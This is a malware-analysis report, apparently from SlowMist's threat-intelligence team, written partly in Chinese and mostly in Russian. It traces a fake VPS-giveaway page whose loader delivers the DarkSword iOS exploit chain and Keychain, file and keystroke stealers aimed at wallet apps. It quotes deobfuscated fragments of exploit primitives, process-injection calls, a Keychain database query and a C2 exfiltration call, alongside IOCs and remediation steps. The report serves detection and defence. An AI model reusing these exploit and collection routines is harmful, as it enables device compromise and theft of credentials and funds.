背景


一个免费赠送 VPS 的活动页面,实则是一张诱饵。从公开网页存档恢复的页面显示,2026 年 8 月末注册的 event[.]polarnode[.]vip 把 https[:]//lk[.]wyincc[.]com/lk.js 声明为预加载脚本,页面可交互后自动加载,访客无需点击。

标题: fig:

对保存的 loader 样本解码后我们确认,它面向运行 iOS 18.4–18.6.2 的 iPhone 纯 Safari 投递,最终指向文件、钥匙串(Keychain)和键盘输入采集,目标为三款钱包应用。这条链与 Google Threat Intelligence Group (GTIG) 公布的 DarkSword iOS 利用链高度一致,对应六个 CVE,属 n-day 复用。


данный анализ основан на основном образце загрузчика из 1k[.]wyincc[.]com/lk[.]js и на снимке lk[.]wyincc[.]com/lk[.]js, сохранённом urlscan. анализ шести CVE и возможностей после эксплуатации ограничен веткой /dist/sandbox.html.

этот метод не является единичным случаем. в синхронном отчёте socket.dev раскрывается, что 13 вредоносных тем с Packagist через цепочку эксплуатации от WebKit до ядра крадут данные устройства и мнемоники кошельков. используемые CVE частично пересекаются с DarkSword из данного отчёта.
данный анализ основан на статических доказательствах: мы не запускали образцы, не открывали iframe и не передавали какие-либо ответы браузеру или движку JavaScript. на этапе форензики удалённые загрузки и синтетические запросы C2 выполнялись отдельно с авторизацией и не отправляли реальные данные устройства. описания возможностей кода в статье означают наличие соответствующей реализации или пути вызова, но не свидетельствуют о том, что соответствующие операции успешно происходили на реальном устройстве.

ответ MistEye

MistEye — это система Web3-анализа угроз и динамического мониторинга безопасности, разработанная SlowMist. она интегрирует возможности безопасного мониторинга и агрегации информации, предоставляя пользователям реальные предупреждения о рисках и защиту активов.

после получения этого образца MistEye восстановил полную цепочку атаки — от фильтрации устройства, до скрытой доставки через iframe, многоступенчатой эксплуатации и пост-эксплуатации; он извлёк соответствующие домены, IP и IOC вредоносных файлов, подключил вредоносный пакет и IOC к движку обнаружения угроз, а затем отправил соответствующим пользователям предупреждения о рисках и рекомендации по реагированию.

ниже приводится подробный технический анализ.

декодирование

в образце нет символов перевода строки — всё в одной строке. обфускация делится на три слоя: массив из 1 025 строк, сдвигаемый целиком влево при старте с помощью IIFE, а также пользовательское Base64 и RC4 для каждой строки.

abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=

продукт декодирования: SHA-256 равен 38b43a6d27b08ff94a600fbe8182b4a2ba0eb744f68801a2d3454431f78e9fa5. декодер читает только текст и выполняет собственные преобразования Base64/RC4, не вычисляя никакой JavaScript.

в открытую восстановлена фиксированная конфигурация: сервер https[:]//lk[.]wyincc[.]com; основной SDK-эндпоинт 13[.]248[.]210[.]49:36887; резервный эндпоинт 66[.]117[.]225[.]238:36887; heartbeat 20 секунд; device_source равен 782391; идентификатор клиента — web-sdk V1.0. конфигурация также встраивает RSA-ключ, SHA-256 которого: 85ec8a4c83463565b3a517b6ee9d010fbf6643c49a67245c64b27bd8a0e43681. дальнейшие стадии используют его для шифрования трафика, отправляемого на SDK-эндпоинт.

в конфигурации сначала следует отметить три целевых приложения: imToken (im.token.app), TokenPocket (com.global.wallet.ios) и TronLink (com.tronlink.hdwallet). тот же набор идентификаторов далее снова появляется в задаче сбора с клавиатуры.

таргетинг и доставка


первое, что делает полезная нагрузка после декодирования — решает, кому её передать. основной образец загрузчика из 1k[.]wyincc[.]com/lk[.]js разбирает navigator.userAgent через /iPhone OS (\d+)[_.](\d+)/i; после обфускации арифметикой упрощение делает проверку версии эквивалентной:

if (major !== 18 || minor < 4 || minor > 6) return;

в этом образце загрузчика проходят только iPhone-формфактор с iOS 18.4–18.6.x. проверка браузера также требует одновременного наличия Safari/、Version/ и Mobile/... Safari, и исключает Chrome、Firefox、Opera、Edge на iOS (CriOS、FxiOS、OPiOS、EdgiOS), а также встроенные WebView в WeChat、QQ、Telegram、Alipay и целую группу социальных и новостных приложений. регулярное выражение сопоставляет только iPhone OS и не совпадает с CPU OS, используемыми iPad.

в реальном снимке загрузчика, сохранённом urlscan, вышеупомянутая ветка не удалена: iPhone под управлением iOS 18.4–18.6.2 по-прежнему попадает в /dist/sandbox.html. по сравнению с образцом загрузчика, использованным в основном анализе, он также использует сопоставление глобального устройства iPhone|iPod, включая iPod touch, и добавляет белый список для iOS 15.2–17.1. затем эти старые версии и iPod touch передаются в дополнительную ветку /group.html.

после фильтрации посетителей нельзя просто игнорировать. код скрывает все дочерние элементы текущей страницы, показывает многоязычную подсказку, чтобы пользователь скопировал адрес и открыл его в Safari. это и подсказка совместимости, и одновременно активное направление посетителя в браузерную среду, необходимую для эксплуатации.

标题: fig:

после фильтрации посетители попадут в логику выполнения lock и охлаждения: после получения сообщений pe_injected и chain_locked они записываются во внутреннее состояние и cookie, чтобы предотвратить повторное срабатывание на одном и том же устройстве. UID формируется из временного штампа и случайных символов. два обработчика сообщений проверяют только event.data.type и не валидируют event.origin или event.source; другие frame на той же странице могут подделать эти сообщения и заранее триггерить lock или охлаждение.

цепочка поставки

следующий подробный анализ полной цепочки поставки применим к ветке /dist/sandbox.html, которую совместно сохраняют два загрузчика. фактический снимок загрузчика на странице дополнительно включает параллельную ветку /group.html, но этот путь предварительно блокируется WAF по HTTP 403; в данном случае не удалось получить последующее содержимое. поэтому в этой статье эта ветка не включается в последующее семейство DarkSword, шесть CVE или выводы о сборе данных.

после фильтрации iPhone под управлением iOS 18.4–18.6.2 загрузчик формирует скрытый iframe, адресный шаблон фиксирован следующим образом:

https://lk.wyincc.com/dist/sandbox.html?d=<URL-encoded Base64 JSON>

передача конфигурации от первоначального загрузчика к sandbox.html подтверждена как выполненная через параметр ?d= в URL. d несёт URL-кодированный Base64 JSON, содержащий origin текущего сайта, hostname, utm_source, сессионный UID, а также SDK-эндпоинты, RSA-ключ, device_source и настройки целевого кошелька. поскольку UID и поля сайта генерируются во время выполнения, нет единого фиксированного URL третьей стадии, который можно заранее восстановить. для продолжения отслеживания мы получили sandbox.html в условиях форензики с использованием параметров, воссозданных из конфигурации.

iframe удерживается стилями за пределами экрана и становится невидимым. затем страница загружает chunks/vendor.js через динамический элемент script. vendor снова проверяет версию и разветвляется: на iOS 18.6 загружается runtime.js и упаковывается в Blob Worker; на iOS 18.4 и 18.5 загружается runtime-legacy.js, дополнительно извлекается и в самой странице выполняется eval polyfill.js. путь legacy RCE передаётся и синхронно используется между контекстом страницы и контекстом Worker через postMessage, координируя установление RCE-первичных операций и передачу на последующие стадии. это отличается от обработчиков сообщений pe_injected и chain_locked, которые вышеуказанно отвечают лишь за выполнение lock/охлаждения.

каждый следующий фрагмент скачивается только после успешности предыдущего. вся цепочка включает два уровня выхода из песочницы: код помечает этапы как SBX0 и SBX1. SBX0 переносит выполнение из процесса веб-содержимого в процесс GPU, а SBX1 затем переносит из процесса GPU в mediaplaybackd.

  • runtime.js(18.6)использует CVE-2025-43529 (повреждение памяти из-за дефекта сборки мусора в JavaScriptCore DFG JIT) в связке с CVE-2026-20700 (обход проверки PAC указателей в userland dyld), чтобы создать примитивы удалённого выполнения кода (RCE) в JavaScriptCore/WebKit: примитивы работы с адресами addrof, фальшивыми объектами fakeobj, произвольное чтение/запись, обработка PAC (указательная аутентификация) и нативные вызовы; затем синхронно получается и выполняется eval framework.js. runtime-legacy.js и polyfill.js предоставляют такие же примитивы для 18.4/18.5, соответствующие CVE-2025-31277 (повреждение памяти из-за оптимизации JIT/путаницы типов в JavaScriptCore) и CVE-2026-20700.

// runtime.js(18.6)— примитивы RCE
function addrof(object){ return BigInt.fromDouble(p_rce.addrof(object)) }
function fakeobj(addr){ return p_rce.fakeobj(addr.asDouble()) }
// read32 / read64 / write8 / write64 строятся на той же fakeobj/scribble-механике

// runtime.js — передача SBX0 (eval framework.js)
print("[RCE] начало загрузки SBX0 выхода из песочницы...");
const sbx0_script = getJS("framework.js?" + Date.now());
eval(sbx0_script)

  • framework.js реализует SBX0 — использует CVE-2025-14174 (недостаточная проверка параметров для определённых операций в ANGLE/WebGL, приводящая к выходу за границы памяти при чтении/записи) и переносит выполнение из процесса веб-содержимого в процесс GPU; после ветки SBX0 SUCCEEDED загружается common.js; framework-legacy.js является его legacy-аналогом.

// framework.js — точка входа SBX0
print("[SBX0] ======== начало eval sbx0_main.js ========");
const { write8, read32, read64, write64, dlopen, dlsym, device_model, chipset } = p;

  • common.js реализует SBX1 — используя CVE-2025-43510 (дефект управления памятью при записи с копированием (COW) в ядре XNU), выполняется побег из процесса GPU в более привилегированный mediaplaybackd, включая его XPC-эндпоинты, пути IOSurface/Scaler и пример sbx1sbx1_exp. затем загружается app.js; common-legacy.js повторно использует уже существующий app.js.

// common.js — XPC-якорь mediaplaybackd для SBX1 и передача повышения привилегий
let XPC_ENDPOINT_REMAKER = "com.apple.coremedia.mediaplaybackd.remaker.xpc";
remaker_connection = xpc_connection_create_mach_service(XPC_ENDPOINT_REMAKER, 0n, 0n);
function spawn_pe(){ LOG("Запуск PE...."); let pe_stage1_js_data_array = new Uint8Array([...]); }

  • app.js использует CVE-2025-43520 (повреждение памяти из-за условий гонки в ядре VFS виртуальной файловой системы XNU) для построения примитивов чтения/записи ядра и повышения привилегий. включает обёртки чтения/записи ядра, MigFilterBypass, расширение песочницы applySandboxEscape, удаление отчётов о сбое и координационную логику получения трёх плагинов и внедрения их в три системных процесса. три плагина — sync.js, auth.js и input.js — и из них восстанавливаются три скрипта задач, однозначно соответствующие этим типам.

// app.js — вход для чтения/записи ядра и повышения привилегий
let kernel_base = 0n; let kernel_slide = 0n; let is_a18_devices = false;
function pe_v1() { /* ... */ }

каждые три пути внедрения инициируют по одному открытому HTTP GET для получения плагина, затем передают ответ соответствующему процессу:

var inject = new InjectJS("SpringBoard", agentCode, migFilterBypass);
if (inject.inject()) { ... }

три цели — это SpringBoard (sync.js), securityd (auth.js) и kbd (input.js). восстановленные три скрипта задач соответствуют трём типам плагинов и скоординированно внедряют агент задач через код. строки SBX0 SUCCEEDED и SBX1 SUCCEEDED в коде — это ветвления статуса, а не успешные логи, которые мы наблюдали.

про источник нужно добавить ещё одно замечание. lk[.]wyincc[.]com для ресурсов ветки legacy (runtime-legacy.js、polyfill.js、framework-legacy.js、common-legacy.js) возвращает HTTP 403. мы получили эти четыре файла с связанного хостинг-узла 1k[.]wyincc[.]com; ранее этот узел был проверен как посимвольно идентичный по ответам главному хосту, фактически используемому на страницах с vendor.js и runtime.js, но мы не утверждаем, что эти legacy-файлы посимвольно эквивалентны тем lk-ответам, которые не удалось получить. два ресурсных условия powercuff_light.js и chain_status_overlay.js на хосте, на который реально ссылается страница, возвращают 403, а связанный узел полезной нагрузки — 404 HTML; анализируемых скриптов нет.

семейство DarkSword

в коде есть несколько уникальных следов, совпадающих с общедоступной записью инструмента. в app.js есть комментарий "If iOS >= 18.4 we apply migbypass in order to bypass autobox restrictions", а также классы MigFilterBypass и цепочка Chain.runPE() с последующим Sandbox.applySandboxEscape(), удаление каталога systemgroup.com.apple.osanalytics/DiagnosticReports/ и ссылки на инструмент startSandworm. ветвление по версиям (18.4/18.5 и 18.6) и этапные обязанности для SBX0 → SBX1 → PE также совпадают с опубликованным GTIG анализом DarkSword. бюллетень по безопасности Apple дополнительно подтвердил соответствующие CVE и версии фикса.

после деобфускации app.js сохраняет несколько следов, которые можно распознать напрямую:

// app.js — ветвление migbypass (уникальный комментарий DarkSword)
// If iOS >= 18.4 we apply migbypass in order to bypass autobox restrictions
if (ver.major == 24 && ver.minor >= 4) { /* migbypass */ }

// инкапсуляция чтения/записи ядра внутри встроенного MigFilterBypassThread.js
static runPE() { /* ... */ }
static getKernelBase() { /* ... */ }
static read(srcAddr, dst, len) { /* ... */ }
static write(dst, src, len) { /* ... */ }

// ссылка на инструмент startSandworm (сохранена в исходнике в виде комментария)
// let baseKernel = startSandworm();

на этом основании мы соотносим локальную стадию с шестью CVE:

когда GTIG впервые наблюдала DarkSword, CVE-2025-43529, CVE-2026-20700 и CVE-2025-14174 относились к 0day в дикой природе. по состоянию на мероприятие WYINCC в сентябре 2026 года все шесть уязвимостей уже публично раскрыты и имеют исправления от Apple. поэтому текущая доставка — это повторное использование цепочки из шести уязвимостей DarkSword как n-day. версии фикса и исторический статус 0day основаны на отчётах GTIG и бюллетенях Apple по безопасности.

три задания C2

чтобы понять, что в итоге делает внедрённый агент, мы при отдельной авторизации сгенерировали составной UID и пустое поле для сайта и отправили минимальный запрос requestJsCode на две SDK-эндпоинтa; всего по два раза на каждый. за весь процесс не отправлялись данные регистрации устройства, heartbeat, Keychain, клавиатура или данные приложений.

первым предпочтительным эндпоинтом является 13[.]248[.]210[.]49:36887: оба раза установления соединения возвращали ответ объёмом 54 773 байта; резервный эндпоинт 66[.]117[.]225[.]238:36887: оба раза возвращал пустой ответ. ответы шифруются AES-256-GCM и упаковываются в кадры SSP2. мы выполняем офлайн-дешифрование с помощью сохранённого ключа сеанса, распаковку LZFSE и проверку SSP2/JSON/Base64, восстанавливая три скрипта задач. все три задачи не были выполнены.

каждая из трёх задач соответствует одному внедрённому процессу:

  • задачи SpringBoard настраиваются на сервере через apps_json: рекурсивно перечисляют файлы из контейнера приложения, общего AppGroup или абсолютного пути, загружают по частям; при этом прилагаются SHA-256 по каждому файлу и поддерживается возобновление с точки разрыва. при task_type 1 или 4 дополнительно выполняются Base64-декодирование и eval JavaScript, который выдаётся сервером; результат отправляется обратно.

  • задача securityd открывает /private/var/Keychains/keychain-2.db, запрашивает таблицы genp и inet и с помощью приватного класса SecDbKeychainItemV7 расшифровывает data blob; затем извлекаются v_Data, acct, svce, agrp и выполняется отправка отчёта.

  • задача kbd отслеживает приложение на переднем плане; когда целевое кошелёк-приложение находится на переднем плане, выполняется опрос внутреннего ivar клавиатуры (_inputString、_contextBeforeInput、_contextAfterInput) и, по завершении ввода или при смене приложения, кэшированные данные отправляются как reportAppPwd.

сбор Keychain

задача securityd соответствует плагину auth.js. app.js, получив GET /dist/plugins/auth.js, внедряет код в securityd с помощью InjectJS("securityd", ...). затем нативные вызовы, построенные по цепочке (dlsym、objc_msgSend), напрямую вызывают ObjC из JavaScript; доступ к хранилищу ключей выполняется только для чтения:

sqlite3_open_v2("/private/var/Keychains/keychain-2.db", dbHandlePtr, SQLITE_OPEN_READONLY, 0)

она перебирает только две таблицы — genp (универсальные пароли) и inet (интернет-пароли). запросы вида SELECT * фильтруются по agrp LIKE '%keyword%' и в каждой таблице максимум 500 строк; если keyword пустой, это вырождается в перебор всего по условию 1=1. столбец data содержит зашифрованный BLOB: код не расшифровывает keybag самостоятельно — вместо этого он динамически вызывает методы приватного класса SecDbKeychainItemV7, уже находящегося в securityd (initWithData:decryptionKeybag:error: и т. п.), расшифровывает и извлекает значение v_Data, а затем acct, svce и agrp:

var tables = ["genp", "inet"];
var cls = ncall("objc_getClass", _sp("SecDbKeychainItemV7"));

task_type == 3 запускает dump (ключевое слово приходит из apps_json на сервере или из content; task_type == 4 также позволяет расширить сбор, eval’нув скрипт, выдаваемый сервером). результаты отправляются по каналу C2, проходящему через reportKeychain и упакованному как SSP2 / AES-256-GCM / RSA:

sendReport("reportKeychain", { keychain: b64, task_id: taskId || "" });

итоги

мы подтверждаем, что это набор, ориентированный на iPhone с iOS 18.4–18.6.2 (чистый Safari) и использующий access-triggered многостадийную эксплуатацию и последующую пост-эксплуатацию, относящийся к семейству DarkSword. риск приходится на три приложения кошельков — imToken, TokenPocket и TronLink: код содержит возможности browser RCE, двухуровневого выхода из песочницы, чтения/записи ядра, а также внедрения агент-кода в SpringBoard, securityd и kbd. сбор охватывает файлы, Keychain и ввод с клавиатуры.

первые три элемента в дикой природе, которые GTIG наблюдала у DarkSword, к моменту данной активности уже были публично раскрыты и получили фиксы от Apple. текущая поставка WYINCC классифицируется как n-day повторное использование цепочки из шести уязвимостей. снимок загрузчика, фактически ссылаемый страницей lk[.]wyincc[.]com, также содержит ветку /group.html, ориентированную на старые версии iOS и iPod touch; эта ветка предварительно блокируется WAF по HTTP 403 и последующее содержимое не получено. поэтому выводы по шести CVE и сбору данных применимы только к ветке /dist/sandbox.html.

рекомендации

  1. на сетевой границе (прокси, DNS, EDR/NDR) блокируются домены wyincc[.]com и polarnode[.]vip и три эндпоинта 36887. затем в логах ищутся обращения iPhone с iOS 18.4–18.6.2 UA к /dist/sandbox.html, /dist/chunks/, /dist/plugins/ и подобным путям, а также ищутся обращения UA для iOS 15.2–17.1 (включая возможно iPod touch) к /group.html. первые относятся к уже известной полной раскрытой цепочке; вторые позволяют только подтвердить попадание в не полученную в ходе исследования подветку, но не дают возможности напрямую применить выводы по шести CVE или сбору данных кошельков.

  2. если ваш собственный сайт был заражён и в него внедряли этот скрипт, удалите скрипт из страницы и кэшей CDN/объектного хранилища, проверьте источники подключения шаблонов, теги менеджера и рекламных систем, а затем разверните ограничения CSP/SRI, чтобы сторонние скрипты не наследовали контекст сайта.

  3. в первую очередь собирайте форензика для устройств iPhone, которые действительно открывали страницу доставки и запускали Safari на iOS 18.4–18.6.2: собирайте историю Safari, сбои WebKit, аномалии процессов и записи доступа к Keychain. для устройств iPhone или iPod touch на iOS 15.2–17.1, которые попали в /group.html, сохраните те же базовые доказательства, но не делайте утверждения только по факту совпадения пути о том, что эксплуатация прошла успешно или что данные были собраны.

  4. для пользователей, использующих следующие три целевых кошелька — imToken, TokenPocket и TronLink — на основе результатов форензики устройств решайте, нужно ли сменить учётные данные, отозвать сессии, и контролировать адреса в блокчейне и транзакции; не утверждайте, что приватный ключ или мнемоника уже раскрыты, только по истории посещений.

  5. обновите устройство до версии, исправленной Apple (iOS/iPadOS 18.7.3 или 26.3 и выше), и сохраните исходные ответы, ключи сеансов и хэши для последующего связывающего анализа.

IOC


домен


1k[.]wyincc[.]com

lk[.]wyincc[.]com
event[.]polarnode[.]vip
polarnode[.]vip


IP


13[.]248[.]210[.]49 

66[.]117[.]225[.]238 

166[.]117[.]225[.]238


URL


13[.]248[.]210[.]49:36887

66[.]117[.]225[.]238:36887

166[.]117[.]225[.]238:36887

https[.]//lk[.]wyincc[.]com/lk.js

https[.]//1k[.]wyincc[.]com/lk.js

вредоносный файл


имя файла: lk.js 

SHA256: 89912ab03eb2d02746e52df7b17035082d973234f249098caec11684e665c337

имя файла: lk.js

SHA256: 892dd644ea9a10fd4d89c54d6cfe1028487c3fc23d3f29723af9004b6edf8c70
имя файла: sandbox.html 

SHA256: 953cfa9bf94304ad453eab706cd7cc92cde68eb6ea3c85652aa9040609e75f54

имя файла: vendor.js 

SHA256: 52e2208a37c6dda971c9a67333dbcf526531745feb426a91ace9741ad178f510
имя файла: runtime.js 

SHA256: a5ebcbd5c744865535dd75d8742c99bc06b548dc2606ac6f116843b54451f73b
имя файла: runtime-legacy.js 

SHA256: afdb430bafc3c441ada98fe4a165fd1ad3a38ff5789517c5dd3f83a143706d53
имя файла: polyfill.js 

SHA256: f0409f0d1c134be43dcd697b4715cca64efa66e482d252744163f552050cd236
имя файла: framework.js 

SHA256: 78973b4d04cb6fee3c399937476347eca0aa9b99fa13596fe9dfaff829aba03b
имя файла: framework-legacy.js 

SHA256: 36b43f98c7f4d2d5a0f14ce8a5bdfd2fc055f8628da4a2d9ece2402385447f1e
имя файла: common.js 

SHA256: 69e357f06ee87ea934b328c4e701d1d48dcfcef51352bb61c64ef89424c029d8
имя файла: common-legacy.js 

SHA256: 693af544eb4deb194f481a870f1202fefb0c278820bb23bced85cd354d29a63e
имя файла: app.js 

SHA256: ab356a2bbdbb7f8e9327e10a2cf6d35ca0c4dbba06d982f559b00d13d31f3017
имя файла: sync.js 

SHA256: 6eda3586102cf35ca53189accd2f56fec63a8adf74ccf93b59aed1e7651a690f
имя файла: auth.js 

SHA256: 78406a0c68043df99cea87f280e8307675c285ca9d88f5a56aa9901c6f503d11
имя файла: input.js 

SHA256: 3a2341a13a7c4854bc203be18eebd11f716e043540a91974ef6d6d12253f6c9d

о MistEye


MistEye — это Web3-платформа аналитики угроз и динамического мониторинга безопасности, разработанная силами SlowMist. с помощью API она предоставляет открытый пакетный экосистемный сервис для детектирования вредоносной активности и предупреждения о рисках в цепочке поставок.


все вредоносные пакеты и IOC, задействованные в этой активности, уже подключены к движку обнаружения угроз MistEye. разработчики могут с помощью API автоматически проверять зависимости проектов, быстро определять, затрагивает ли их уже известный вредоносный пакет, и получать рекомендации по реагированию.


📖 API-документация: https://app.misteye.io/api-docs


🛠️ MistEye-DepScan: https://github.com/slowmist/MistEye-DepScan — лёгкий CLI-инструмент; одной командой сканирует зависимости проекта и известные вредоносные пакеты в глобально установленных пакетах, поддерживает экосистемы npm / PyPI / Cargo / Go / RubyGems


🛠️ MistEye-Skills: https://github.com/slowmist/misteye-skills — набор безопасностных навыков для кодировщиков/помощник; автоматически запускает детектирование безопасности MistEye перед установкой зависимостей и доступом по URL


🛠️ MistEye-DNS-Guard: https://github.com/slowmist/MistEye-DNS-Guard — инструмент DNS-защиты; обнаруживает вредоносные домены и рискованные обращения, идентифицирует сетевые угрозы вроде фишинга и C2.


данная статья написана командой Threat Intelligence компании SlowMist совместно с системой MistEye threat intelligence; анализ также выполнен с помощью SlowMist Agent AI. при наличии вопросов, пожалуйста, обращайтесь — будем рады вашим отзывам и обращениям.


参考

[1]https://socket.dev/blog/packagist-themes-ios-spyware

[2]https://cloud.google.com/blog/topics/threat-intelligence/darksword-ios-exploit-chain

[3]https://support.apple.com/en-bw/125885

[4]https://support.apple.com/en-me/125633

[5]https://support.apple.com/en-us/126346

[6]https://www.nodeseek.com/post-905477-1